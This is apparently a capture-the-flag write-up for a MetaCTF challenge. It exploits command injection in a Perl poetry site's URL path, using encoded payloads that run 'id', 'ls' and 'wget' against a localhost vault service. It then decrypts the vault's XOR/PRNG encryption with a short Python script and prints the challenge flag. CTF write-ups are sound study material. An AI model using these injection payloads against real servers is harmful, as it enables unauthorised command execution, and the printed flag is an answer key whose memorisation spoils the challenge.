The poetry site is vulnerable to command injection via the URL path. This gives shell access as santaclaus. The flag was moved into the Krampus Vault service listening on localhost:5000. The vault encrypts files with a two‑stage XOR scheme using a PRNG and a key hidden at the end of a PNG. By extracting that key and reversing the PRNG, the flag decrypts to:
MetaCTF{4w4y_70_7h3_n0r7h_p0l3_v14_lf1_h3_fl3w_b8c9af}
The web server (main.pl) reads files directly from the URL path and only blocks ../ and |...|. It does not block ;, so the path can be used to append commands.
Example:
http://p16mj411.chals.mctf.io/poems/..%3bid%7c
This returns the output of id, confirming command execution.
Listing / shows a vault directory:
http://p16mj411.chals.mctf.io/poems/..%3bls%20/%7c
/flag-notice.txt indicates the flag is hosted by a local service:
NOTE! This file has been moved to the Krampus Vault solution running on localhost:5000.
BusyBox wget is available. Use it without http://:
http://p16mj411.chals.mctf.io/poems/..%3bwget%20-qO-%20127.0.0.1%3A5000%7c
This returns an HTML page listing encrypted files (elf_payroll.txt, naughty_nice_list.txt, flag.txt) as hex strings.
vault.pl (readable from /krampus-vault/vault.pl) encrypts files:
generate_num(seed, 256))../public/static/krampus.png.Fetch the PNG and examine trailing bytes after the PNG IEND chunk. The extra bytes are base64:
dmFsaWRfc2VydmljZV9ob2hvaG8=
Decoded key:
valid_service_hohoho
Seeds are derived from the filename:
seed = unpack('N', substr($file . '0' x 4, 0, 4))
For flag.txt, that is b"flag" as a 32‑bit big‑endian integer.
Brute‑forcing a simple 8‑bit LCG shows the stream matches:
state = (a * state + c) mod 256
with a ≡ 9 (mod 32) and c ≡ 0 (mod 32) (many equivalent pairs).
Let C be the hex ciphertext, K the key string, and R the PRNG byte stream.
Then:
P[i] = C[i] XOR K[i % len(K)] XOR R[i]
Decryption yields:
MetaCTF{4w4y_70_7h3_n0r7h_p0l3_v14_lf1_h3_fl3w_b8c9af}
from binascii import unhexlify
ct = unhexlify("a49357cfd8fc9a391956529d85df37d740109477672631f9d3d78c522172d972cbfc78c4f1a998201a690582e89f43e055029f457c554d")
key = b"valid_service_hohoho"
seed = int.from_bytes(b"flag", "big") & 0xFF
# One valid LCG pair (any a≡9 mod 32, c≡0 mod 32 works)
a, c = 9, 0
state = seed
pt = bytearray()
for i, b in enumerate(ct):
state = (a * state + c) & 0xFF
pt.append(b ^ key[i % len(key)] ^ state)
print(pt.decode())
MetaCTF{4w4y_70_7h3_n0r7h_p0l3_v14_lf1_h3_fl3w_b8c9af}